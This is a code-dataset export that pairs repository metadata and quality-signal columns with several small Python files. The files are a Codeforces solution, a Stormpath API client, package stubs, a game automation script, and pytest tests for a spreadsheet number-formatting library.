hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6ae09662229134a691809d1755bdee92dd2fd4cf | 123 | py | Python | Codeforces/B_Ternary_Logic.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | Codeforces/B_Ternary_Logic.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | Codeforces/B_Ternary_Logic.py | anubhab-code/Competitive-Programming | de28cb7d44044b9e7d8bdb475da61e37c018ac35 | [
"MIT"
] | null | null | null | a,b = map(int,input().split())
ans=0
k=1
while a or b:
ans+=k*(((b%3)-(a%3))%3)
a//=3
b//=3
k*=3
print(ans) | 13.666667 | 30 | 0.455285 | 29 | 123 | 1.931034 | 0.482759 | 0.071429 | 0.107143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 0.235772 | 123 | 9 | 31 | 13.666667 | 0.510638 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0a72c49c4d7315a729f28f37919507d17b91cd9e | 3,270 | py | Python | stormpath/client.py | denibertovic/stormpath-sdk-python | e594a1bb48de3fa8eff26558bf4f72bb056e9d00 | [
"Apache-2.0"
] | null | null | null | stormpath/client.py | denibertovic/stormpath-sdk-python | e594a1bb48de3fa8eff26558bf4f72bb056e9d00 | [
"Apache-2.0"
] | null | null | null | stormpath/client.py | denibertovic/stormpath-sdk-python | e594a1bb48de3fa8eff26558bf4f72bb056e9d00 | [
"Apache-2.0"
] | null | null | null | """Stormpath API client."""
from .auth import Auth
from .data_store import DataStore
from .http import HttpExecutor
from .resources.account import AccountList
from .resources.account_store_mapping import AccountStoreMappingList
from .resources.group import GroupList
from .resources.group_membership import GroupMembershipList
from .resources.tenant import Tenant
class Client(object):
"""The root entry point for SDK functionality.
Using the client instance, you can access all tenant data, such as
applications, directories, groups, and accounts.
More info in documentation:
http://docs.stormpath.com/python/product-guide/#sdk-concepts
The client contains the following attributes that represent resource lists:
:py:attr:`applications` -
:class:`stormpath.resources.application.ApplicationList`
:py:attr:`directories` -
:class:`stormpath.resources.directory.DirectoryList`
:py:attr:`accounts` -
:class:`stormpath.resources.account.AccountList`
:py:attr:`groups` -
:class:`stormpath.resources.group.GroupList`
:py:attr:`group_memberships` -
:class:`stormpath.resources.group_membership.GroupMembershipList`
:py:attr:`account_store_mappings` -
:class:`stormpath.resources.account_store_mapping.AccountStoreMappingList`
"""
BASE_URL = 'https://api.stormpath.com/v1'
def __init__(self, base_url=None, cache_options=None, expand=None, proxies=None, user_agent=None, backoff_strategy=None, **auth_kwargs):
"""
Initialize the client by setting the
:class:`stormpath.data_store.DataStore` and
:class:`stormpath.resources.tenant.Tenant`.
The parameters the Client accepts are those used by the
:class:`stormpath.http.HttpExecutor`, :class:`stormpath.auth.Auth`, and
:class:`stormpath.data_store.DataStore` classes.
:param str user_agent: (optional) The custom user agent to set.
:param backoff_strategy: A Function that will return the number of milliseconds
to wait before retrying the request. The function must take one parameter
which is the number of retries already done. If no function is supplied
the default backoff strategy is used (see the :meth:`stormpath.http.HttpExecutor.pause_exponentially` method).
"""
self.BASE_URL = base_url or self.BASE_URL
self.auth = Auth(**auth_kwargs)
executor = HttpExecutor(self.BASE_URL, self.auth.scheme, proxies, user_agent=user_agent, get_delay=backoff_strategy)
self.data_store = DataStore(executor, cache_options)
self.tenant = Tenant(client=self, href='/tenants/current', expand=expand)
@property
def applications(self):
return self.tenant.applications
@property
def directories(self):
return self.tenant.directories
@property
def accounts(self):
return AccountList(self, href='/accounts')
@property
def groups(self):
return GroupList(self, href='/groups')
@property
def group_memberships(self):
return GroupMembershipList(self, href='/groupMemberships')
@property
def account_store_mappings(self):
return AccountStoreMappingList(self, href='/accountStoreMappings')
| 35.543478 | 140 | 0.719878 | 384 | 3,270 | 6.028646 | 0.364583 | 0.066523 | 0.069546 | 0.02419 | 0.04406 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000376 | 0.185627 | 3,270 | 91 | 141 | 35.934066 | 0.868945 | 0.482569 | 0 | 0.176471 | 0 | 0 | 0.065116 | 0.013953 | 0 | 0 | 0 | 0 | 0 | 1 | 0.205882 | false | 0 | 0.235294 | 0.176471 | 0.676471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0a84ebc36cb214f8619867ddde5fb9fb53351fa7 | 38 | py | Python | twitter/users/urls.py | davidpodrebarac/twitter | 121bd34789baa553c554acb995c8effc70abfaaf | [
"MIT"
] | null | null | null | twitter/users/urls.py | davidpodrebarac/twitter | 121bd34789baa553c554acb995c8effc70abfaaf | [
"MIT"
] | 3 | 2020-02-11T23:26:43.000Z | 2021-03-19T22:13:27.000Z | twitter/users/urls.py | davidpodrebarac/twitter | 121bd34789baa553c554acb995c8effc70abfaaf | [
"MIT"
] | null | null | null | app_name = "users"
urlpatterns = [
]
| 7.6 | 18 | 0.631579 | 4 | 38 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210526 | 38 | 4 | 19 | 9.5 | 0.766667 | 0 | 0 | 0 | 0 | 0 | 0.131579 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0a96dc22ee470152a8077ebe15555a29b6f9b8db | 222 | py | Python | python/trifinger_cameras/__init__.py | open-dynamic-robot-initiative/trifinger_cameras | f115aa84862c44f5a09b19eed38117cbdbdaac83 | [
"BSD-3-Clause"
] | 2 | 2020-09-08T05:55:07.000Z | 2021-04-26T03:14:31.000Z | python/trifinger_cameras/__init__.py | open-dynamic-robot-initiative/trifinger_cameras | f115aa84862c44f5a09b19eed38117cbdbdaac83 | [
"BSD-3-Clause"
] | 1 | 2020-12-03T10:06:33.000Z | 2020-12-03T10:06:33.000Z | python/trifinger_cameras/__init__.py | open-dynamic-robot-initiative/trifinger_cameras | f115aa84862c44f5a09b19eed38117cbdbdaac83 | [
"BSD-3-Clause"
] | 2 | 2020-09-04T16:10:39.000Z | 2021-02-27T17:48:07.000Z | # use "noqa" comments to silence flake8 warnings
# F401 = unused import, F403 = complaint about `import *`.
from . import py_camera_types as camera # noqa: F401
from . import py_tricamera_types as tricamera # noqa: F401
| 44.4 | 59 | 0.747748 | 32 | 222 | 5.0625 | 0.59375 | 0.123457 | 0.148148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071038 | 0.175676 | 222 | 4 | 60 | 55.5 | 0.814208 | 0.563063 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0a9f11a54b3546a24d02d4f666f9d4882cae24f9 | 134 | py | Python | auctioning_platform/shipping/shipping/domain/value_objects/__init__.py | nhdinh/smp-modulith | 84c31b36e9b449fe3135f3802c1bbc362e7fb459 | [
"MIT"
] | 299 | 2019-09-13T23:03:29.000Z | 2022-03-24T09:20:43.000Z | auctioning_platform/shipping/shipping/domain/value_objects/__init__.py | winston-won/clean-architecture | 95546b29c9a5ff0e16c7f67b9ab736749e87f8ae | [
"MIT"
] | 109 | 2019-11-03T12:16:16.000Z | 2021-07-26T08:32:28.000Z | auctioning_platform/shipping/shipping/domain/value_objects/__init__.py | winston-won/clean-architecture | 95546b29c9a5ff0e16c7f67b9ab736749e87f8ae | [
"MIT"
] | 38 | 2019-09-13T23:03:34.000Z | 2022-03-24T09:21:10.000Z | __all__ = ["ConsigneeId", "PackageStatus"]
from shipping.domain.value_objects.package_status import PackageStatus
ConsigneeId = int
| 22.333333 | 70 | 0.813433 | 14 | 134 | 7.357143 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097015 | 134 | 5 | 71 | 26.8 | 0.85124 | 0 | 0 | 0 | 0 | 0 | 0.179104 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0aa19ca5fd9f089959c73c8fd9c769b7814ac57a | 573 | py | Python | example.py | leon92101/FGO-Automata | cc77525b019d5b35d54d1b917e3bb77462b753ae | [
"MIT"
] | 1 | 2020-08-28T16:31:59.000Z | 2020-08-28T16:31:59.000Z | example.py | Tsuasahi/FGO-Automata | d069b6b0da2b8986ac509d90a86a7b1ea6836fb4 | [
"MIT"
] | null | null | null | example.py | Tsuasahi/FGO-Automata | d069b6b0da2b8986ac509d90a86a7b1ea6836fb4 | [
"MIT"
] | null | null | null | # This is only an example of a battle that I used to test.
from core.Automata import Automata
# init
shiki = Automata("assets/Qp4.png", "assets/eg-sp1.png", (248, 0))
# start
shiki.quick_start()
# battle 1
shiki.select_servant_skill(5)
shiki.select_servant_skill(6)
shiki.select_servant_skill(7)
shiki.select_cards([7])
# battle 2
shiki.select_servant_skill(8)
shiki.select_cards([8])
# battle 3
# shiki.toggle_master_skill()
shiki.select_master_skill(2, 1)
shiki.select_servant_skill(1)
shiki.select_servant_skill(2)
shiki.select_cards([6])
# finish
shiki.finish_battle()
| 24.913043 | 65 | 0.77836 | 96 | 573 | 4.427083 | 0.4375 | 0.258824 | 0.254118 | 0.324706 | 0.169412 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038536 | 0.094241 | 573 | 22 | 66 | 26.045455 | 0.780347 | 0.225131 | 0 | 0 | 0 | 0 | 0.071264 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.071429 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0abb115d5209ce04a4b58d3972c7e50f82836b77 | 12,923 | py | Python | tests/test_js_issues.py | snoopyjc/ssf | b995cae0e90d38e3758d4944fb144831f9bae0a5 | [
"Apache-2.0"
] | 3 | 2020-10-07T18:28:12.000Z | 2020-10-09T15:24:53.000Z | tests/test_js_issues.py | snoopyjc/ssf | b995cae0e90d38e3758d4944fb144831f9bae0a5 | [
"Apache-2.0"
] | 15 | 2020-10-09T15:23:03.000Z | 2020-10-29T04:34:17.000Z | tests/test_js_issues.py | snoopyjc/ssf | b995cae0e90d38e3758d4944fb144831f9bae0a5 | [
"Apache-2.0"
] | null | null | null |
# Test that we fixed all the issues reported for ssf.js
# See https://github.com/SheetJS/ssf/issues
from ssf import SSF
ssf = SSF()
def test_issue_8(): # International support
assert ssf.format('#,###.00', 1000000, locale='de-DE') == '1.000.000,00'
assert ssf.format('#,###.00', 1000000, locale='fr-FR') == '1\u202f000\u202f000,00'
assert ssf.format('#,###.00', 1000000, locale='hi_IN') == '10,00,000.00'
def test_issue_11():
ssfc = SSF(color_pre='<color name="{}" rgb="#{rgb}">', color_post='</color {}>')
assert ssfc.format('0', 0) == '0'
assert ssfc.format('[Red]0', 0) == '<color name="Red" rgb="#FF0000">0</color Red>'
assert ssfc.format('[Color2]0', 0) == '<color name="Color2" rgb="#FFFFFF">0</color Color2>'
assert ssfc.format('[Color 2]0', 0) == '<color name="Color2" rgb="#FFFFFF">0</color Color2>'
def test_issue_12():
assert ssf.format('#,###.??;(#,###.??);0', 1234.1) == '1,234.1 '
assert ssf.format('#.0?0?#?#?#?#', 0) == '.0 0 '
def test_issue_13():
assert ssf.format('#,##.??;(#,##.??);0', 1234.1) == '1,234.1 '
assert ssf.format('h am/pm', '1pm') == '1 PM'
def test_issue_14():
ssfnf = SSF(dateNF='m/d/yy')
assert ssfnf.format(14, '12/31/1999') == '12/31/99'
def test_issue_21():
cases = [
(0.12, ('$0,000.00', '$0,000.12'),
('$#,000.00', '$000.12'), ('$#,#00.00', '$00.12'), ('$#,##0.00', '$0.12'), ('$#,###.00', '$.12')),
(1.23, ('$0,000.00', '$0,001.23'),
('$#,000.00', '$001.23'), ('$#,#00.00', '$01.23'), ('$#,##0.00', '$1.23'), ('$#,###.00', '$1.23')),
(12.34, ('$0,000.00', '$0,012.34'),
('$#,000.00', '$012.34'), ('$#,#00.00', '$12.34'), ('$#,##0.00', '$12.34'), ('$#,###.00', '$12.34')),
(123.45, ('$0,000.00', '$0,123.45'),
('$#,000.00', '$123.45'), ('$#,#00.00', '$123.45'), ('$#,##0.00', '$123.45'), ('$#,###.00', '$123.45')),
(-0.12, ('$0,000.00', '-$0,000.12'),
('$#,000.00', '-$000.12'), ('$#,#00.00', '-$00.12'), ('$#,##0.00', '-$0.12'), ('$#,###.00', '-$.12')),
]
for case in cases:
val = case[0]
for fmt, expected in case[1:]:
actual = ssf.format(fmt, val)
assert actual == expected
def test_issue_30():
assert ssf.format('0.0#', 15.06) == '15.06'
def test_issue_31():
assert ssf.format('###0 "Million" 000 "Thousand" 0 "Hundred" 00', 123456789) == '123 Million 456 Thousand 7 Hundred 89'
assert ssf.format(';($0.0)', -200) == '($200.0)'
def test_issue_32():
assert ssf.format('hh:mm:ss', 0.001388773) == '00:02:00'
def test_issue_35():
assert ssf.format('$#,###.00##', 1.1111) == '$1.1111'
def test_issue_36():
assert ssf.format('#,##0.00', 1234.56, decimal_separator=',', thousands_separator=' ') == '1 234,56'
def test_issue_37():
assert ssf.format('[$-40c]dddd, mmmm d, yyyy', '9/26/2020') == 'samedi, septembre 26, 2020'
def test_issue_48():
assert ssf.format("General;General;-;General", 0) == '-'
def test_issue_49():
assert ssf.format("[red]-##,#", 0) == '-'
assert ssf.format("[red]-#,###", 1) == '-1'
def test_issue_50():
assert ssf.format('#,##0.0000%', 0.123/100) == '0.1230%'
assert ssf.format('#,##0.0000 %', 0.123/100) == '0.1230 %'
assert ssf.format('%#,##0.0000 %', 0.123/100/100) == '%0.1230 %'
def test_issue_52():
assert ssf.format('[<=-1000000]("$"#,##0.0,,"M")', -1000000) == '($1.0M)'
assert ssf.format('[<=-1000000]("$"#,##0.0,,"M");', -1000000) == '($1.0M)'
def test_issue_53():
assert ssf.format('"a"0.###', 3.14159) == 'a3.142'
assert ssf.format('";"0.###', 3.14159) == ';3.142'
def test_issue_54():
assert ssf.format('h:mm A/P"m"', 3.14159) == '3:23 Am'
assert ssf.format('h:mm A/p"m"', 3.14159) == '3:23 Am'
assert ssf.format('h:mm a/P"m"', 3.14159) == '3:23 am'
assert ssf.format('h:mm a/p"m"', 3.14159) == '3:23 am'
assert ssf.format('h:mm A/P"m"', 3.14159+0.5) == '3:23 Pm'
assert ssf.format('h:mm a/P"m"', 3.14159+0.5) == '3:23 Pm'
assert ssf.format('h:mm A/p"m"', 3.14159+0.5) == '3:23 pm'
assert ssf.format('h:mm a/p"m"', 3.14159+0.5) == '3:23 pm'
def test_issue_55():
assert ssf.format(14, '1/01/1999') == '1/1/1999'
assert ssf.format(22, '1/01/1999 1:01am') == '1/1/1999 1:01'
assert ssf.format(37, 1234) == '1,234 '
assert ssf.format(38, 1234) == '1,234 '
assert ssf.format(39, 1234) == '1,234.00 '
assert ssf.format(40, 1234) == '1,234.00 '
assert ssf.format(39, 1234.56) == '1,234.56 '
assert ssf.format(40, 1234.56) == '1,234.56 '
assert ssf.format(47, (9*60+8.5)/86400) == '09:08.5'
assert ssf.format(55, '1/01/1999', locale='ko-KR') == '1999/01/01'
ssfc = SSF(color_pre='{}:')
def test_issue_57():
assert ssf.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', -25) == '25'
assert ssf.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 0) == '0'
assert ssf.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 4) == '4'
assert ssf.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 25) == '25'
assert ssf.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 'hi') == 'hi'
assert ssfc.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', -25) == 'Red:25'
assert ssfc.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 0) == 'Green:0'
assert ssfc.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 4) == 'Green:4'
assert ssfc.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 25) == 'Blue:25'
assert ssfc.format('[Red][<=-25]General;[Blue][>=25]General;[Green]General;[Yellow]General', 'hi') == 'Yellow:hi'
def test_issue_58():
for d in (0, 1, 2, 3, 59, 60, 61):
assert ssf.format('b2ddd', d) == ssf.format('ddd', d)
# This calendar doesn't actually work!! assert ssf.format('b2yyyy', d) == '1317'
def test_issue_59():
assert ssf.format('A"TODO"', 1) == 'ATODO'
assert ssf.format('A"TODO"', -1) == '-ATODO'
assert ssf.format('A"TODO"', 0) == 'ATODO'
assert ssf.format('A"TODO"', 'TODO') == 'TODO'
assert ssf.format('\\r', 1) == 'r'
assert ssf.format('\\r', -1) == '-r'
assert ssf.format('\\r', 0) == 'r'
assert ssf.format('\\r', 'TODO') == 'TODO'
def test_issue_60():
assert ssf.format('#"abded"\\ ??/??', 12.3456789) == '12abded 28/81'
assert ssf.format('? "a" / "b" ?', 0.5) == '1 a / b 2'
assert ssf.format('? "a" / "b" 2', 0.5) == '1 a / b 2'
assert ssf.format('# "h" ? "a" / "b" ?', 1.4) == '1 h 2 a / b 5'
assert ssf.format('# "h" ? "a" / "b" ?', -1.4) == '-1 h 2 a / b 5'
assert ssf.format('# "h" ? "a" / "b" ?', 1) == '1 '
assert ssf.format('# "h" ? "a" / "b" ?', -1) == '-1 '
def test_issue_61():
assert ssf.format(r'???\/???', 123.45) == ' /123'
assert ssf.format(r'# ??\/??', -12.3456789) == '- /12'
# This is an error: assert ssf.format(r'???/', 123.45) == '123/'
# So is this: assert ssf.format(r'/???', 123.45) == '/123'
def test_issue_62():
cases = [
('##0.0E+0',
{0: '000.0E+0', 1: '1.0E+0', 5: '5.0E+0', 10: '10.0E+0', 89: '89.0E+0', 89.1: '89.1E+0',
100: '100.0E+0', 1000: '1.0E+3', 10000: '10.0E+3', 100000: '100.0E+3', 1000000: '1.0E+6'}),
('##0.0E-0',
{0: '000.0E0', 1: '1.0E0', 5: '5.0E0', 10: '10.0E0', 89: '89.0E0', 89.1: '89.1E0',
100: '100.0E0', 1000: '1.0E3', 10000: '10.0E3', 100000: '100.0E3', 1000000: '1.0E6'}),
('##0.0E+00',
{0: '000.0E+00', 1: '1.0E+00', 5: '5.0E+00', 10: '10.0E+00', 89: '89.0E+00', 89.1: '89.1E+00',
100: '100.0E+00', 1000: '1.0E+03', 10000: '10.0E+03', 100000: '100.0E+03', 1000000: '1.0E+06'}),
('##0.0E-00',
{0: '000.0E00', 1: '1.0E00', 5: '5.0E00', 10: '10.0E00', 89: '89.0E00', 89.1: '89.1E00',
100: '100.0E00', 1000: '1.0E03', 10000: '10.0E03', 100000: '100.0E03', 1000000: '1.0E06'}),
]
for case in cases:
fmt = case[0]
for val, expected in case[1].items():
actual = ssf.format(fmt, val)
assert actual == expected
def test_issue_64():
assert ssf.format('?.?', 1) == '1. '
assert ssf.format('?.?', 1.2) == '1.2'
def test_issue_65():
assert ssf.format('000.0', 1) == '001.0'
assert ssf.format('000.#', 1) == '001.'
assert ssf.format('000.0', 1.2) == '001.2'
assert ssf.format('000.#', 1.2) == '001.2'
def test_issue_66():
assert ssf.format('# ?/10', 0) == '0 '
def test_issue_67():
assert ssf.format('0"abde".0"??"000E+00', 12.3456789) == '1abde.2??346E+01'
assert ssf.format('0"abde".0"??"000E+0', 12.3456789) == '1abde.2??346E+1'
assert ssf.format('0"abde".0"??"000E+00', -12.3456789) == '-1abde.2??346E+01'
assert ssf.format('0"abde".0"??"000E-00', -12.3456789) == '-1abde.2??346E01'
assert ssf.format('0"abde".0"??"000E-0', -12.3456789) == '-1abde.2??346E1'
assert ssf.format('0"abde".0"??"000E-00', -12.3456789E-2) == '-1abde.2??346E-01'
assert ssf.format('0"abde".0"??"000E+00', -12.3456789E-2) == '-1abde.2??346E-01'
assert ssf.format('0"abde".0"??"000E+0', -12.3456789E-2) == '-1abde.2??346E-1'
def test_issue_68():
assert ssf.format('00.00.00.000', 12.3456789) == '12.34.56.789'
def test_issue_69():
ssfe = SSF(errors='raise')
try:
ssf.format('HH[MM]', 0)
assert False
except Exception:
pass
try:
ssf.format('HH[M]', 0)
assert False
except Exception:
pass
def test_issue_70():
assert ssf.format(r'[<=9999999]###\-####;\(###\)\ ###\-####', -12.3) == '--12' # yes, this is right!
assert ssf.format('[=0]?;#,##0.00', -12.3) == '-12.30'
assert ssfc.format('[Red]General;[Blue][>=0]General', 10) == 'Red:10'
assert ssfc.format('[Red]General;[Blue][>=0]General', 0) == 'Blue:0'
assert ssfc.format('[Red]General;[Blue][>=0]General', -10) == '##########'
assert ssfc.format('[Red]General;[Blue][>=0]General;', 10) == 'Red:10'
assert ssfc.format('[Red]General;[Blue][>=0]General;', 0) == 'Blue:0'
assert ssfc.format('[Red]General;[Blue][>=0]General;', -10) == '-'
assert ssfc.format('[Red][=0]General;[Blue]General;[Green]General', 10) == 'Green:10'
assert ssfc.format('[Red][=0]General;[Blue]General;[Green]General', 0) == 'Red:0'
assert ssfc.format('[Red][=0]General;[Blue]General;[Green]General', -10) == 'Blue:10'
assert ssfc.format('[Red]General;[Blue][>=-10]General', 10) == 'Red:10'
assert ssfc.format('[Red]General;[Blue][>=-10]General', 0) == 'Blue:0'
assert ssfc.format('[Red]General;[Blue][>=-10]General', -10) == 'Blue:-10'
def test_issue_71():
assert ssf.format('[HH]', -12) == '-288'
assert ssf.format('[HH]', -11.999999) == '-288'
assert ssf.format('[HH]', -11.99999) == '-287'
def test_issue_72():
assert ssf.format(r'\c\c\c?????0"aaaa"0"bbbb"000000.00%', -12.3456789) == '-ccc 0aaaa0bbbb001234.57%'
def test_issue_73():
assert ssf.format("##0.0E-00", 1) == '1.0E00'
assert ssf.format("##0.0E-00", 1.2) == '1.2E00'
def test_issue_74():
assert ssf.format('#,### ?/10', 1000.1) == '1,000 1/10'
def test_issue_75():
assert ssf.format('"s"??/?????????"e"', 0.123251512342345) == 's480894/3901729 e'
def test_issue_76():
assert ssf.format('?/???', 0.5) == '1/2 '
assert ssf.format('# ?/???', 0.5) == ' 1/2 '
def test_issue_77():
assert ssf.format('#????', -12.3) == '- 12'
assert ssf.format('#????', -12) == '- 12'
def test_issue_78():
with open('tests/ssf78.tsv', 'r') as t78:
data = t78.read().splitlines()
row1 = data[0].split('\t')[2:]
for i, c in enumerate(row1, start=2):
for row in data[1:]:
spl = row.split('\t')
fmt = spl[0].format(c)
actual = ssf.format(fmt, int(spl[1]))
expected = spl[i]
assert actual == expected
def test_issue_79():
assert ssf.format('#.#E-0', 3.14) == '3.1E0'
assert ssf.format('#.E-0', 3.14) == '3.E0'
assert ssf.format('#E-0', 3.14) == '3E0'
assert ssf.format('#E-0', 3) == '3E0'
assert ssf.format('000E-0', 10) == '010E0'
assert ssf.format('000E-0', 10.8) == '011E0'
assert ssf.format('##0E-0', 10.8) == '11E0'
assert ssf.format('##0E-0', 10) == '10E0'
